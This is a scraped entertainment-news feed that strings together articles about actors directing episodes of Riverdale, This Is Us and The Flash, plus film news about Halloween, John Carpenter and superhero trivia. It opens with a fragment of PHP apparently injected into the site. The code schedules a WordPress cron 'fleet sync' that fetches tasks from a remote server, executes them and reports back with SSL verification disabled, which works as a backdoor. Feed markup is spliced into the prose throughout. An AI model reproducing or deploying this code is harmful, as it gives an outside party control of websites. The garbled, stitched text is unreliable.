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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); directing – Brief News https://briefnews.eu Latest World News. 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Yes, Riverdale‘s fourth season is ending a few episodes early… but that doesn’t mean we won’t get a nice, juicy cliffhanger to chew on all summer long.

Wednesday’s “finale” (The CW, 8/7c) was just supposed to be Season 4’s 19th episode, with three more to come, but after the coronavirus pandemic shut down production, it ends up being the last episode of Season 4 — and one directed by cast member Madchen Amick, who co-stars as Betty’s mom Alice. The episode, which sees Jughead pen a revenge fantasy about the Riverdale teens fighting back against the hard-nosed Principal Honey, could’ve been an odd fit as a season ender, but luckily, “it just happened to serve as a really good cliffhanger and a season finale,” Amick tells TVLine.

Amick relished getting a chance to sit in the director’s chair, she says: “Every time I’ve read a script throughout my career, I am very visual… so just to be able to make all the decisions that bring it to life was just so exciting and invigorating.” She got plenty of support from her castmates, too, even though the episode came late in the season: “I think they really rallied their energy and, because they wanted to support me, I think they brought some good, fresh energy to their performances.”

Riverdale Season 4 Finale Kevin Betty JugheadThe Season 4 “finale,” aptly titled “Killing Mr. Honey,” tells two parallel stories: what’s really happening with Principal Honey at Riverdale High, and Jughead’s story, which plays out like a heightened thriller. (One that’s even more heightened than the usual Riverdale, that is.) As the director, Amick wondered, “‘How far can we take it?’” But showrunner Roberto Aguirre-Sacasa assured her that he “wanted to really blur the line between reality and fantasy and sometimes leave the audience wondering, ‘Wait a minute, is this fantasy or is this really happening?’” The fantasy sequences are in Jughead’s mind, and “he’s a very classic writer, very intellectual,” Amick notes. “So my inspiration was Citizen Kane, Alfred Hitchcock… I wanted to bring in some epic storytelling into Jughead’s writing.”

Will the cliffhanger satisfy the Riverdale fans, though? “You know what? They’re used to it at this point,” Amick says with a laugh. “Riverdale always ends with a big cliffhanger. When you leave the audience with ‘Is Jughead dead?’ as a cliffhanger, there are no boundaries to Roberto’s mind.”

Meanwhile, with the upcoming departures of Skeet Ulrich (F.P.) and Marisol Nichols (Hermione), Amick is about to become Riverdale‘s last remaining O.G. parent. “Mark [Consuelos] didn’t come on until Season 2,” she points out, “so I’m really kind of the last parent standing from Season 1. So yeah, it’s bittersweet… I’m gonna miss Skeet, I’m gonna miss Marisol.” But “I know Roberto really adores both of them,” she adds. Riverdale is “a big world, and he loves revisiting characters and storylines, so I don’t think it’s going to be the last we see of their characters.”

Riverdale F.P. Alice FaliceUlrich’s departure, though, does take away Alice’s primary love interest. “I know! Poor Alice,” Amick laughs. “I sort of feel like she needs to just swear off relationships completely. She’s had some tough luck.” As for what we might see from Alice next season? “Maybe she needs to run for mayor and give Mayor Lodge a run for his money. Let’s see a woman in office! Let’s do it, guys!”

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This Is Us‘ Kevin realized this week exactly how much he cared for his ex-wife, Sophie, just as it became nearly certain that they will never be together again. To invoke a movie often referenced in Tuesday’s episode: How do you like them apples?

The hour found Kevin returning to Pittsburgh to attend Sophie’s mother’s funeral. While there, he reminisced about several pivotal moments in their relationship, including the night Jack died. And later, in a surprising turn of events, Kev slept with Madison — yes, that Madison — once he returned to Los Angeles. (Read a full recap here.)

TVLine got Justin Hartley on the phone pronto to discuss Kevin’s heartache (that scene in the car!), his inevitable reaction to the unexpected hook-up (there’s no way this can end well, right?) and Hartley’s experience directing his co-stars in Kate’s upcoming part of the trilogy (which will air on Tuesday, Feb. 11).

this-is-us-kevin-madison-sex-season-4-justin-hartley-interviewTVLINE | In this episode, we get a lot more context for Kevin and Sophie’s relationship over the years. What was your take as you were reading these moments from their past in the script?
It’s interesting that what brought them back together is the funeral, right? That’s the very thing that may be the pivotal point in Kevin’s life. You learn it in this episode when he says, “This is where my childhood ended.” You learn that she was the one who was there with him when he got that news. And when she gets this news that her mother passes away, one of the first things she does is she calls him. There’s a lot of weight to that. They have a connection. It’s special. These are two people that are forever connected. It’s his ex-wife, you know? They’re different people now, too. Especially him. He’s finally found himself, and he’s comfortable in his own skin. It’s that heartbreak — he said it at the gravesite… He said, “The sad part is that I’m finally ready”…. He’s sitting there with this woman, an arm’s length away from her. It’s all he wants, and he can’t have it. It’s so sad, isn’t it?

TVLINE | It is. And it read to me as it’s not just him feeling that. She’s giving it back to him, too.
Totally. But I also think that he’s, in a way — in every way, actually — being a man and being there for her. The suffering that’s going on in him is taxing and it’s hard, because he’s not going to be able to get what he wants. But he knows that and he’s willing to suffer through that to be there for her. He’s [got] tunnel vision. He’s like, “I’m going to be there for her, always. I will never not be there for her,” and suffering through all of that, the idea of her walking back in there and going back to her fiancé, which is what she should do, because [Kevin] hasn’t been the greatest to her. [Exhales] It’s an interesting thing. I thought that was so great. He’s putting himself second and putting her first. It’s what you should do, right? If he would’ve been able to do that earlier, maybe the outcome would’ve been different. But it’s sad.

this-is-us-kevin-madison-sex-season-4-justin-hartley-interviewTVLINE | We don’t actually see Sophie’s fiancé’s face. Will we meet him before the end of the season?
It’s John Stamos. [Laughs] Will we meet him by the end of the season? Probably. Eh, maybe? Maybe. Maybe.

TVLINE | Sidebar: Interviewing your cast is always amazing, because anything past the immediate episode is full of “Could be! I don’t know! We’ll see what happens!”
Listen, lemme just tell you. Let me apologize for all of us. We’re the worst f—king interviews ever, because we cannot tell you s—t. [Laughs] There’s a mandate. But [you’re] on the phone, asking really great questions, obviously did [your] homework, really invested and these questions are great, and we literally can’t give you anything. We’re the dud interview people.

TVLINE | First of all, you’ve clearly never read a dud interview. This is not one of them.
[Laughs]

TVLINE | And second, if you were trying to butter me up, it worked. Now you can skate through the rest of this interview.
Challenged accepted! [Laughs]

TVLINE | Let’s talk about how Kevin sleeps with Madison, who is the second friend of Kate’s he’s moved in on.
Wait, is that true? What do you mean? Who was the first one?

TVLINE | Sophie was Kate’s friend first, right?
Oh yeah. Yeah, you’re right. Look, here’s the deal. For the first one, he was smitten. They were little kids, and then it turned into something more. But this one, yeah, this one’s a little bit… That’s kind of a forbidden fruit thing, right? You don’t sleep with your sister’s best friend. You can’t do that!

TVLINE | Especially when you’ve always kind of been annoyed by her. I’ve never gotten the sense there was a close bond between Madison and Kevin.
They’re mutually annoyed with each other. She thinks he’s ridiculous. Hey, look: Things change. [Laughs]

TVLINE | We don’t see what the vibe between them is like afterwards. Give me a sense of it, because he’s clearly feeling awkward when he’s whispering on the phone with Randall.
Oh, totally — and guilt. She’s not chopped liver. It’s nothing like that. But he understands what that is. That’s his sister’s [friend]. He shouldn’t have done that. That’s his sister’s best friend. Have a little more self-control. But at the same time, they’re both single. It was kind of the perfect storm: We’re both adults, we’re both single, whatever. Then he’s like, “Oh God, my sister, oh God.” I will tell you: It’s a couple episodes in the future, but it does get addressed between Madison and Kevin. It’s hilarious. It’s out of control hilarious. [Laughs]

TVLINE | Isaac Aptaker and Elizabeth Berger said last week that The Big Three’s trip to the cabin would be hard, because none of them are at their best, yet they’re having to step up and be there for each other.
We finish out the trilogy with Kate. There’s definitely some back story there. You start to see her relationship with her boyfriend and what all that means and how that influenced and affected who she is now and all of that stuff. That’s really great. The cabin stuff, it is interesting. Trying to be there for other people when you’re going through a lot of stuff is difficult. But they’re all connected. They’re family. And some s—t comes out. There’s a minor blow-up. Different ways of handling important situations. The fact that Kevin — should I be saying this? I shouldn’t be saying this — there’s a problem between Kevin and Randall.

TVLINE | We knew that was going to start at some point.
Yeah. It has to do with the way people handle certain things, and it becomes a dealbreaker situation. It’s massive. There’s two sides to the story and they both have their points, and I get both sides. But when I step into Kevin’s shoes, obviously, I only get one side of it.

https://tvline.com/2020/01/21/this-is-us-season-4-episode-12-spoilers-kevin-sophie/TVLINE | You directed next week’s episode, which is Kate’s part of the trilogy and Chrissy Metz’s showcase. Tell me how that compared to the episode of Smallville you directed in 2011.
Less greenscreen. [Laughs] They were both great. Smallville was an iconic show that went on for 10 years, and I was really lucky to be able to direct that show. That was an incredible time in my life. I poured everything I had into that. As you get older and you gain more experience, with that experience comes more knowledge and with that knowledge hopefully comes more being able to execute certain things and give notes in a certain way. Hopefully, I’m better now than I was back then. We have the best actors in the planet on our show, so it’s a gift to be able to “direct” these people. I said to them, “I’m not directing as much as I giving little nuggets of inspiration while you guys are acting and doing the amazing things you’re doing,” and hopefully that comes across in the performance a little bit. They bring it every week. There’s not one moment of one scene that goes by where you’re like, “Eh, they weren’t really there for that performance.” It’s incredible. They’re great. So it’s easy in that regard.

TVLINE | I know you and Chrissy are tight. Did you have conversations about what was going to happen during filming?
A ton. And that’s part of the thing, too: understanding that I’m not the person… that comes in and assumes that after 80 episodes of playing this character that I’m going to change… it’s annoying. But what I can do is read the script 900 million times, and I can give an idea or a story about something that happened to me one time that reminds me of what’s happening here, how it was different or whatever. And then you just watch that actor process that information and then use the tools and their skills to bring all of that to life. It’s really incredible to watch. Mandy was phenomenal in this episode, as well. When you see the dynamic between the two of them in that episode, oh my gosh. I’m not sure they’ve ever really done that with them.

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Genre-TV vet Terry Chen will engage in some “Mortal Khanbat” via a plum guest-starring role on The CW’s DC’s Legends of Tomorrow.

TVLine has learned exclusively that the alum of such series as Continuum, The Expanse and Jessica Jones will play the infamous Genghis Khan in the fifth episode of Season 5, which is currently filming and marks series lead Caity Lotz’s directorial debut.

The episode — which is titled, yes, “Mortal Khanbat” — presents Khan as a cool-tempered but ruthless Mongolian ruler, who finds himself alone in 1990s Hong Kong. But he adapts quickly and uses his mastery of military strategy to pursue his single greatest ambition: conquering the globe.

As teased at the very end of Legends Season 4, Astra (played by new series regular Olivia Swann) has gotten her mitts on the souls of some real-life, Hell-bound deplorables, whom she will apparently unleash and scatter throughout time. The Legends EPs explained in our Comic-Con Q&A video below that the trick in serving up “Encores,” as these resurrected real-life baddies have been dubbed, “is to come up with a fun horrible person.”

Chen’s previous TV credits also include Van Helsing, UnREAL and House of Cards.

Legends returns with Season 5 in early 2020.

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]]> https://briefnews.eu/legends-of-tomorrow-terry-chen-to-play-1990s-roaming-genghis-khan-in-caity-lotzs-directing-debut/feed/ 0 The Flash’s Danielle Panabaker Details the Challenges of Directing Nora’s Backstory — Godspeed Tease Included https://briefnews.eu/the-flashs-danielle-panabaker-details-the-challenges-of-directing-noras-backstory-godspeed-tease-included/ https://briefnews.eu/the-flashs-danielle-panabaker-details-the-challenges-of-directing-noras-backstory-godspeed-tease-included/#respond Mon, 15 Apr 2019 23:07:47 +0000 http://briefnews.eu/the-flashs-danielle-panabaker-details-the-challenges-of-directing-noras-backstory-godspeed-tease-included/ For her directorial debut, Danielle Panabaker wasn’t handed any ol’ episode of The CW’s The Flash. Rather, she was tasked with bringing to life Nora West-Allen’s backstory (which of course takes place far into the future. Time travel!).

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This season’s 18th episode (airing Tuesday at 8/7c) also picks up in the wake of the awaited reveal that Nora traveled back in time under the tutelage of none other than Reverse-Flash, which set Barry off bigtime, and those emotions won’t cool right away. TVLine spoke with Panabaker about her debut behind the camera and the critical scenes she had the opportunity to oversee.

TVLINE | What was the biggest or the most interesting challenge that this particular script presented to you as the director?
This particular script largely takes place in the year 2049 — it’s Nora’s origin story, so we’re flashing forward to the future — and I think that was the biggest challenge, creating a world 30 years in the future on a TV episodic budget. It allowed everyone to be really creative and really push themselves, but it was certainly a challenge.

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TVLINE | When we left off, things had gotten super intense after Nora’s secret came out. Are there a lot of WestAllen family emotions going on?
Absolutely. I mean, that storyline is actually going to continue even past this episode a little bit, into 519, but yes, the betrayal that Barry feels is devastating to him. And as parents, they have to deal with this struggle that we have seen in a couple different ways this season, but not at this level of “how to parent” and what should they do.

TVLINE | I don’t recall seeing Grant like that in a scene, and maybe you haven’t either. Barry’s reaction was so explosive, it was kind of startling.
I mean, Reverse-Flash is his greatest villain. He killed his mother in front of him, so to find out that your daughter has aligned herself with him.… I don’t know how you get over that.

TVLINE | Do you think an episode that is more about emotions, is more about plot, is more accessible for a first-time director than if they’d given you something that was action-heavy?
I don’t know about more accessible. Certainly it’s a different challenge, and fortunately, it’s a language I speak being an actor and having studied characters so often. I’m not sure a first-time director who wasn’t an actor would have easily understood the nuances of these characters. I also have the great fortune of living with all these characters for 110 episodes, so I deeply and intimately know their backstories.

Flash 5x18 SpoilersTVLINE | Just before you called, The CW released photos from the episode and there’s this one of Eobard in his future prison cell with Barry staring him down. Tease the mood of that scene.
When I read my script, I was excited to shoot that scene, in particular, from the very beginning. I think Eobard actually has a line earlier in the season where he says [to Nora], “If your father knew this, he’d be here in a flash,” and it’s true. it’s an unbelievable scene between two incredible actors. They are so gifted, so talented, and the performances are so layered and so intense. It’s a really cool moment.

TVLINE | I also see interesting things going on with reflections in the glass. It’s framed very interestingly.
I had a lot of fun with it. That set can be a little bit challenging because it’s a little constricting, but I tried to use what I could to help tell the story visually, as well.

Flash 5x18 SpoilersTVLINE | The episode is called “Godspeed,” which is of course a DC Comics character. How does that come into play here?
I feel lucky that I get to do one if the few episodes this season that’s really about a villain speedster. Obviously, we have Reverse-Flash all season, but he’s not running, so I immediately called and asked for all the Godspeed comic books I could get my hands on. Godspeed is sort of Nora’s first foe [as a speedster] and I think there’s something really special about that.

TVLINE | And in this episode, what is Caitlin up to this whole time?
We pick up where we left off in Episode 17, seeing how shocked everyone was as this bombshell is revealed, and very quickly, Team Flash makes the decision to read Nora’s journal. That’s how we go into this flashback/flashforward into Nora’s origin.

Flash 5x18 SpoilersTVLINE | Looking ahead a little further: Icicle (played by Kyle Secor) is back the week after this. What’s he up to? 

He has unfinished business, and he has a plan for which he needs Caitlin and interestingly enough, her mom. He comes back to town to reunite with his daughter and see if he can use her meta abilities to his advantage.

TVLINE | How are things with Caitlin and Carla (Susan Walters) these days?
A little rocky, per usual. A little icy. But I really enjoyed that we brought her into the show so much more and see Caitlin’s relationship with her and with her family. It’s important that her mom is around for this sequence.

TVLINE | Could there be some evolution, some growth for that mother-daughter relationship?
I think so. You know, Caitlin has matured over the years and I think maybe she’s open enough to seeing her mom’s remorse for mistakes she might have made.

TVLINE | Would you similarly describe things between Caitlin Killer Frost as now pretty simpatico?
Yeah. I love that this season they’ve really done a great job, in my opinion, of exploring their relationship with each other, and if they’re going to be able to coexist. I think they still would handle situations differently, but Killer Frost is definitely less acrimonious.

TVLINE | When I spoke to Sarah Carter, she was so excited that you, her former Shark castmate, are playing Cicada II’s most formidable foe.
It’s been so great to have her, and she brought a really cool layer to the show. Selfishly, I think it’s an incredible storyline for Caitlin, that she’s not affected by Cicada’s powers. 08:29) …. in various different ways but Killer Frost is still their “secret weapon.”

TVLINE | Lastly, what can you say about this season’s finale (airing May 14). How would you compare it to past ones?
Oh, man. Every year it seems like they somehow find a way to top themselves. We’re still in the middle of filming the finale, but it’s going to be really epic. I think it’s going to be devastating in some ways, and it’s got a twist on the typical Flash ending, which I’m excited for fans to see.

Want more scoop on The Flash, or for any other show? Email InsideLine@tvline.com and your question may be answered via Matt’s Inside Line.

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]]> https://briefnews.eu/the-flashs-danielle-panabaker-details-the-challenges-of-directing-noras-backstory-godspeed-tease-included/feed/ 0 Brooklyn 99 Star Discusses Directing Holt vs. Disco Strangler Showdown https://briefnews.eu/brooklyn-99-star-discusses-directing-holt-vs-disco-strangler-showdown/ https://briefnews.eu/brooklyn-99-star-discusses-directing-holt-vs-disco-strangler-showdown/#respond Mon, 04 Mar 2019 00:20:12 +0000 http://briefnews.eu/brooklyn-99-star-discusses-directing-holt-vs-disco-strangler-showdown/ In the Feb. 28 episode of Brooklyn Nine-Nine, Capt. Holt tracked down his longtime nemesis, the Disco Strangler, with an assist from Terry and Charles. Believed to be dead, the notorious serial killer — who uses yo-yo strings to throttle his victims — faked his own death as part of an elaborate prison break. The hunt culminated in a not-so-epic showdown between Holt and “the most dangerous man in America,” now a partially crippled octogenarian who weighs in at just 93 pounds.

The sidesplitting sequence was helmed by series star/first-time director Stephanie Beatriz, who was positively giddy about the opportunity to lend her vision to the scene. 

brooklyn-nine-nine-season-6-episode-8-stephanie-beatriz-directing“I was beside myself with childlike creativity that day on set,” Beatriz tells TVLine. “That scene in the street with the two of them facing down, I kept having all these images of old spaghetti westerns. Those are [what] I pulled from to show our director of photography [Rick Page]. Andre [Braugher] was like, ‘I’m not quite sure I understand what you mean,’ then I got to open up my binder and show him weird pictures that I’d been drawing.”

The Disco Strangler scenes were “so zany and wacky and fun,” Beatriz says, and quite a departure from the episode’s #MeToo-themed A-plot. “I was really excited to do that plot line with Terry [Crews], Joe [Lo Truglio] and Andre, because I think the three of them — whatever that chemical mixture is between those three guys together — is just so funny and so weird.”

Did you enjoy watching Capt. Holt face off against the Disco Strangler?

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]]> https://briefnews.eu/brooklyn-99-star-discusses-directing-holt-vs-disco-strangler-showdown/feed/ 0 Jamie Lee Curtis Will Return for ‘Halloween’ Sequel If David Gordon Green Is Directing https://briefnews.eu/jamie-lee-curtis-will-return-for-halloween-sequel-if-david-gordon-green-is-directing/ https://briefnews.eu/jamie-lee-curtis-will-return-for-halloween-sequel-if-david-gordon-green-is-directing/#respond Fri, 26 Oct 2018 16:46:49 +0000 http://briefnews.eu/jamie-lee-curtis-will-return-for-halloween-sequel-if-david-gordon-green-is-directing/ Jamie Lee Curtis Halloween sequel

There’s been a lot of talk about a potential Halloween sequel in the wake of the new film’s box office success. But one pressing question that’s lingered has been whether or not Jamie Lee Curtis would return for yet another film as ultimate final girl Laurie Strode. We now have the answer! According to Curtis herself, she’d be happy to come back – under one very specific condition.

“If David Gordon Green called me up and said let’s do another Halloween, I would do another Halloween,” Jamie Lee Curtis told Empire Magazine Australia. “Because he did such a beautiful job creating this movie.” There you have it: if Blumhouse wants more Curtis, they better ink a deal with Green, pronto.

There’s been some confusion about a Halloween sequel. Before the 2018 film hit theaters, a rumor surfaced that Blumhouse and Universal were already moving forward with a sequel, and that new Halloween director David Gordon Green would not be involved. Just recently, however, co-writer Danny McBride confirmed that he and Green have been “asked to figure it out,” adding: “There are definitely talks on whether we will do more of them and we’re just trying to see what best makes sense.”

With Curtis’ very pro-David Gordon Green statement now out in the wild, it would be very foolish of producers to attempt to mount a new Halloween without Green’s involvement. Of course, that’s assuming they want to make a sequel with Jamie Lee Curtis. They could always follow the path of other Halloween sequels and make a follow-up film with completely new characters. But it’s clear that one of the reasons audiences have taken so kindly to the new film is Curtis’ presence. Having her back as Laurie Strode made the new movie extra special, and the logical next step would be to keep that momentum going.

I remain conflicted about this. I’m a huge Halloween franchise fan, and I had a lot of fun with the 2018 film. But one of my favorite elements of the latest movie is that it provides some closure to Laurie Strode. After 40 years of living in the shadow of Michael Myers, she finally reclaims her own narrative and beats him. To make a new movie would effectively rob the conclusion of the new film of much of its impact. And yet, it was so fun to have Curtis back and kicking ass that it would be hard to resist seeing her come back yet again.

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]]> https://briefnews.eu/jamie-lee-curtis-will-return-for-halloween-sequel-if-david-gordon-green-is-directing/feed/ 0 Bryce Dallas Howard Directing ‘Dads’ Documentary About Fatherhood Across the Globe https://briefnews.eu/bryce-dallas-howard-directing-dads-documentary-about-fatherhood-across-the-globe/ https://briefnews.eu/bryce-dallas-howard-directing-dads-documentary-about-fatherhood-across-the-globe/#respond Thu, 25 Oct 2018 12:57:07 +0000 http://briefnews.eu/bryce-dallas-howard-directing-dads-documentary-about-fatherhood-across-the-globe/ Dads Documentary - Ron Howard and Bryce Dallas Howard

Bryce Dallas Howard grew up in show business. Not only is her father famed director Ron Howard (seen above with Bryce as a baby), but her grandfather was actor Rance Howard. But for an upcoming project, the Jurassic World franchise star will get behind the camera and turn the lens on more typical fathers.

Imagine Documentaries is working on their first feature documentary called Dads, which will be directed by Bryce Dallas Howard. The film is said to take “a humorous look at what it means to be a father in the modern era across the globe.” Get more details below.

Deadline has word on the Dads documentary, which will be produced by Imagine Entertainment’s chairmen Brian Grazer and Ron Howard, as well as Imagine Documentaries head Justin Wilkes. Solo: A Star Wars Story director Ron Howard offered up this statement on the new documentary project:

“Fatherhood has factored into so many of the stories – both comedies and dramas – I’ve directed and produced, and of course, my experience as a son and a father of four has defined me on a foundational level. But this project will go deeper and be much more revealing in its excavation of the subject than anything I’ve ever been involved with before. As a dad, it both thrills and fascinates me to be collaborating with my daughter, Bryce, as she applies her own storytelling instincts to the subject and directs the film. Our creative conversations have already been surprising, hilarious and emotional and we are eager to share what we discover with audiences.”

Bryce Dallas Howard has never directed a feature documentary before, but it’s one of two big jumps behind the camera she’s making this year. The younger Howard will also be directing an episode of the upcoming Star Wars TV series The Mandalorian. That’s quite the hefty task for a director just starting out, but she’s not entirely inexperienced behind the camera.

Howard directed a short film in 2012 called When You Find Me which was on the shortlist for an Oscar and she directed another 2016 short called Solemates which played at Sundance. Plus, she’s also worked on various projects at Moroccan Oil, Vanity Fair, Glamour, MTV, Sony and Lifetime. Here’s what she had to say about the new endeavor:

“We’re already gaining profound insight into the responsibilities, the absurdities, the triumphs and the losses dad’s experience. What we’ve uncovered so far has been emotional, enlightening, provocative, and insanely funny. My father is my hero and always has been, so it’s an honor and a privilege to get to share the stories of these remarkable dads from all walks of life, all heroes in their own right.”

Dads doesn’t have a release date yet, but we’ll keep you posted.

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]]> https://briefnews.eu/bryce-dallas-howard-directing-dads-documentary-about-fatherhood-across-the-globe/feed/ 0 John Carpenter Prefers Playing Video Games to Directing, Thank You Very Much https://briefnews.eu/john-carpenter-prefers-playing-video-games-to-directing-thank-you-very-much/ https://briefnews.eu/john-carpenter-prefers-playing-video-games-to-directing-thank-you-very-much/#respond Wed, 03 Oct 2018 00:21:32 +0000 http://briefnews.eu/john-carpenter-prefers-playing-video-games-to-directing-thank-you-very-much/ new john carpenter movie

Will John Carpenter ever direct a feature film again? Maybe. What John Carpenter would really like to do, though, is play video games and watch basketball. As great as it would be to have a new Carpenter movie, who are we to deny the legendary filmmaker the simple pleasures he craves? Still, Carpenter says there’s always a chance he could do something again. As long as it doesn’t conflict with basketball season.

John Carpenter hasn’t directed a feature film since 2010’s The Ward. He’s kept fairly busy, releasing two albums – Lost Themes and Lost Themes II. He also recently recorded the score for the 2018 Halloween sequel/reboot. But what about filmmaking? Will the director behind classics like Halloween, The Thing, Escape From New York, They Live and more, ever get behind the camera to shoot a movie again?

Maybe. In an interview with Entertainment Weekly, Carpenter said: “I would love to direct something, if it’s the right thing to do at my age.” The director was quick to add: “I’m not going to make another Thing, I’ll tell you that. I’m not going to the Arctic again. I’m not going to do that. I want to take it easy. I want to enjoy myself!”

And what type of film would the horror master make? Whatever it is, it sounds as if he’d like to use it as an excuse to take a vacation. “I’ve wanted to do something in Europe and I’ve wanted to do something in Venice,” Carpenter said. “I haven’t gotten a story for it though. What a place! What a strange place! And Venice is sinking! Wow. But I don’t know. I’d love to do something in Europe. That would be fun to do.”

Carpenter is a distinctly American filmmaker, with virtually all of his movies taking place in the U.S. of A. Which makes the prospect of a European-set Carpenter movie intriguing. It would take him to a brand new territory, and that’s exciting. So what’s stopping him? The answer is quite simple: he’d much rather chill and take it easy.

“There are two important things in my life,” the famous filmmaker says. “Basketball, when the season starts, and video games. And to play video games you have to sit in a chair and not really get up and do anything. I love that. That’s my job now, to sit around and do nothing!”

I would love to have at least one more John Carpenter film – especially since I’m not a huge fan of The Ward, and hate the idea of that being the great man’s final film. At the same time, Carpenter has already produced a string of fantastic films, films that have stood the test of time and influenced an entire new generation of filmmakers. He’s more than earned the right to sit around and do nothing all day, and if that’s what makes him happy, more power to him.

In the meantime, we can look forward to the new Halloween on October 19, featuring new music from Carpenter.

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What was Kenneth Branagh‘s cameo in Avengers: Infinity War? Will Luke Cage pop up in the second season of Iron Fist? Which joke in Teen Titans Go! To the Movies almost got cut by the studio? Is there another symbiote character in Venom besides Riot? Which Suicide Squad member had a different fate than we saw in the final cut? All that and more in this edition of Superhero Bits.

Watch a trailer for Aquaman cut in the style of the trailer for Black Panther that could use some better audio.

If you were hoping to see Luke Cage pop up in the second season of Iron Fist, you will walk away disappointed.

One bold high school kid used a quote given to him by Ryan Reynolds for his senior yearbook picture.

The Teen Titans Go! To the Movies credits scene teases a return of the original Teen Titans series.

Here’s something Deadpool/Cable Cool! Andy Clement and his brilliant team at Creative Character Engineering spent a great deal of time and effort translating @jsmarantz awesome #cable concept art( under the direction of @davidmleitch @scheunee and @kurtandbart with my two cents and inspiration from @robliefeld )into a 3-D prop for the VFX team to use for lighting reference. This was the resulting piece, but sadly didn’t seem to meet with the VFX team’s approval ? Of course designs continue to evolve through shooting and well into Post Production but I for one thought this was really neat. To the best of my knowledge it wasn’t used. As you can see it shows off our idea of the skin being more diseased looking where the two elements meet and we even thought it would be cool to incorporate some inner lighting for effect. Ultimately the red was deemed too Terminator looking so we suggested a cool, icy blue but that too was disregarded. ?Oh well, some ideas fly, some don’t. I’ve posted the final look at the end. What are your thoughts? And don’t be shy giving props to Andy and @cce_inc if you like- I did. #deadpool #deadpool2 #marvel #superhero #joshbrolin #prosthetics #vfx #props #art #paint #design #sculpt #print #3d #cool #mech #virus #soldier #of #the #future #teamwork @studio_aki @pepemua_fx

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Here’s some detailed concept art showing off the design for Cable‘s cybernetic arm used in Deadpool 2.

Pixar’s Incredibles 2 has officially crossed the $ 1 billion mark at the global box office, which is huge.

Here’s a motion poster for Aquaman featuring all the brightest colors and characters from the DC movie.

Writer/director Kevin Smith will return behind the camera to direct an episode for season four of Supergirl.

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Venom Symbiote

A shot from the new Venom trailer has some fans speculating that Scream might be making an appearance.

Netflix says there’s always an ongoing discussion for Marvel series spin-offs, but none are in the works yet.

Watch the trailer for Aquaman recreated with old school footage from the Super Friends animated series.

Avengers: Infinity War commentary revealed the voice of the Asgard distress call was Kenneth Branagh.

Watch the Avengers: Infinity War scene where Thor introduces Groot to his good friend Steve Rogers.

Warner Bros. almost cut a certain joke about Batman v Superman from Teen Titans Go! To the Movies.

This VFX reel shows that El Diablo was originally meant to survive the end of Suicide Squad, but got cut.

Zack Snyder confirmed that his plan was to bring in the Carrie Kelly version of Robin into the DCEU.

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X-23 Play Arts Kai Variant Figure

Square Enix is coming out with a Marvel Comics Play Arts Variant figure of the mutant X-23 this December.

Deadpool Heat-Changing Mug - Bob Ross

Drink your coffee out of this magic heat-changing mug that turns Deadpool into the wonderful Bob Ross.

Batman: Sovereign Knight - One: 12 Collective Figure

The Previews Exclusive Sovereign Knight version of Batman from Mezco Toys will arrive in April 2019.

Injustice 2 - Batman Figure
Injustice 2 - Superman Figure

Here’s a look at the upcoming Injustice 2 action figures from Hiya, including Batman, Superman and more.

Read the previous edition of Superhero Bits right here.

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Here’s a complicated question: is writing harder than directing? Doctor Strange director Scott Derrickson thinks so, and inadvertently kicked off a bit of a firestorm when he expressed that sentiment on Twitter. A handful of other Hollywood filmmakers joined the conversation and began explaining reasons why one discipline is more difficult than the other, and we’ve rounded up the highlights from their fascinating conversation below.

It started with this tweet from Scott Derrickson, the director of movies like Doctor Strange and The Day the Earth Stood Still. In addition to directing, Derrickson is also a writer, having co-written the screenplays for Sinister, Sinister 2, The Exorcism of Emily Rose, and more.

Jordan Vogt-Roberts, who directed The Kings of Summer and Kong: Skull Island, chimed in to disagree.

Writer/director/voiceover actor Zelda Williams (Dark/Web, The Legend of Korra) jumped into the fray as well, explaining that she’s never seen a garbage script turned into a great movie.

But Vogt-Roberts disagreed, calling this whole thing “an entirely unnecessary debate.”

Williams kept the conversation alive, referencing director Akira Kurosawa‘s thoughts on the subject. In his book Something Like an Autobiography, Kurosawa said:

“With a good script a good director can produce a masterpiece; with the same script a mediocre director can make a passable film. But with a bad script even a good director can’t possibly make a good film. For truly cinematic expression, the camera and the microphone must be able to cross both fire and water. That is what makes a real movie. The script must be something that has the power to do this.”

She also raised a fascinating question about the seemingly unknowable results of two directors tackling the same script, a question a Starz show called The Chair tried to answer back in 2014.

Then Guardians of the Galaxy writer/director James Gunn weighed in, sounding off about the difficulties of each speciality.

Gunn also tried to point out how there’s so much more work that goes into directing than fans are able to see in studio-approved behind-the-scenes reels, and admitted that he occasionally loses his shit when he’s on set.

I’m always happy to see filmmakers on this level talking about their craft, giving insights into the way they approach their jobs. Working in the entertainment industry can sometimes seem like an impenetrable thing, but each time filmmakers open themselves up to conversations like this, it makes the idea of writing and directing seem more relatable – like it’s just regular people doing a job.

“To be honest I was merely expressing my own experience,” Derrickson said in another tweet. “But I’ve enjoyed the hell out of all the reactions the tweet has gotten.” So have we.

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